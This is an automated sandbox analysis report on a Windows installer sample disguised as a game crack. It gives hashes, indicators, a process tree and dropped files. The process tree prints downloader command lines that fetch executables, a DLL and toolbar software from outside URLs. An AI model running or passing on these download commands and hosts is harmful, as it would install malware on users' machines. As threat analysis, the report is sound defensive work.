36c8c85ee180d118882a45d16a5116155e0ad9f8181c5112aa40bd7045df3a92

Analysis

max time kernel
160s
max time network
184s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25/12/2023, 04:25

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General

Target

0507d7fe7dad30c1188318e78cd85cf3.exe
Size

511KB
MD5

0507d7fe7dad30c1188318e78cd85cf3
SHA1

5a19fb12b50f9a8294568faf41233a1fdc3130a7
SHA256

36c8c85ee180d118882a45d16a5116155e0ad9f8181c5112aa40bd7045df3a92
SHA512

036c8eb9a92b4eb8bcad6cd2bef175de1c2990ba686801d75a5f9cf35f7971ac01c8a82683c0cc2687fb64a3e47ec26d4c45bada1093bd70da2780cd96baae1f
SSDEEP

12288:4B38O6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:4BsO8XVNCiH7j4RH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2380	downloaderSTUB.exe
2608	downloaderSTUB.exe
2676	downloaderSTUB.exe
2600	downloaderDDLR.exe
2560	downloaderOFFER0.exe
2624	preinstaller.exe

Loads dropped DLL 31 IoCs

pid	Process
2148	0507d7fe7dad30c1188318e78cd85cf3.exe
2148	0507d7fe7dad30c1188318e78cd85cf3.exe
2148	0507d7fe7dad30c1188318e78cd85cf3.exe
2148	0507d7fe7dad30c1188318e78cd85cf3.exe
2148	0507d7fe7dad30c1188318e78cd85cf3.exe
2148	0507d7fe7dad30c1188318e78cd85cf3.exe
2608	downloaderSTUB.exe
2380	downloaderSTUB.exe
2600	downloaderDDLR.exe
2676	downloaderSTUB.exe
2560	downloaderOFFER0.exe
2608	downloaderSTUB.exe
2380	downloaderSTUB.exe
2600	downloaderDDLR.exe
2676	downloaderSTUB.exe
2560	downloaderOFFER0.exe
2560	downloaderOFFER0.exe
2608	downloaderSTUB.exe
2380	downloaderSTUB.exe
2600	downloaderDDLR.exe
2676	downloaderSTUB.exe
2560	downloaderOFFER0.exe
2380	downloaderSTUB.exe
2600	downloaderDDLR.exe
2608	downloaderSTUB.exe
2676	downloaderSTUB.exe
2560	downloaderOFFER0.exe
2676	downloaderSTUB.exe
2600	downloaderDDLR.exe
2380	downloaderSTUB.exe
2608	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000014601-4.dat	nsis_installer_1
behavioral1/files/0x0009000000014601-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 2380	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	30
PID 2148 wrote to memory of 2380	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	30
PID 2148 wrote to memory of 2380	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	30
PID 2148 wrote to memory of 2380	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	30
PID 2148 wrote to memory of 2608	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	31
PID 2148 wrote to memory of 2608	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	31
PID 2148 wrote to memory of 2608	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	31
PID 2148 wrote to memory of 2608	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	31
PID 2148 wrote to memory of 2676	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	32
PID 2148 wrote to memory of 2676	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	32
PID 2148 wrote to memory of 2676	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	32
PID 2148 wrote to memory of 2676	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	32
PID 2148 wrote to memory of 2600	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	33
PID 2148 wrote to memory of 2600	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	33
PID 2148 wrote to memory of 2600	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	33
PID 2148 wrote to memory of 2600	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	33
PID 2148 wrote to memory of 2560	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	34
PID 2148 wrote to memory of 2560	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	34
PID 2148 wrote to memory of 2560	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	34
PID 2148 wrote to memory of 2560	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	34
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35
PID 2148 wrote to memory of 2624	2148	0507d7fe7dad30c1188318e78cd85cf3.exe	35

C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe
"C:\Users\Admin\AppData\Local\Temp\0507d7fe7dad30c1188318e78cd85cf3.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2380
- C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2608
- C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2676
- C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2560
- C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe 0 "3dassassins creed 2 crack [skidrow] update patch v1.01 save ga" "Download"
  2⤵
  - Executes dropped EXE
  PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
\Users\Admin\AppData\Local\Temp\4e148ea6e0d7daccd55f4d3a2a86764f\preinstaller.exe

Filesize
45KB

MD5
4a60b4c7d058db0f7bd8d280db6b391b

SHA1
78be4ad9cea1e26d7c1d4c5e8e906828b85cf63d

SHA256
3425c62349c5e7173e4cfc611f31bd368805c68b5eebdd78c44c7876fd2829be

SHA512
035cbcef63dc954145af0c5678539a63a5210dd8ae386645ecffc1a893cfd67721ab155449662754945a343135436989512bdedabd530289b4f66d4d77e651e2

Download Submit
\Users\Admin\AppData\Local\Temp\nsoDD65.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2148-58-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/2624-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download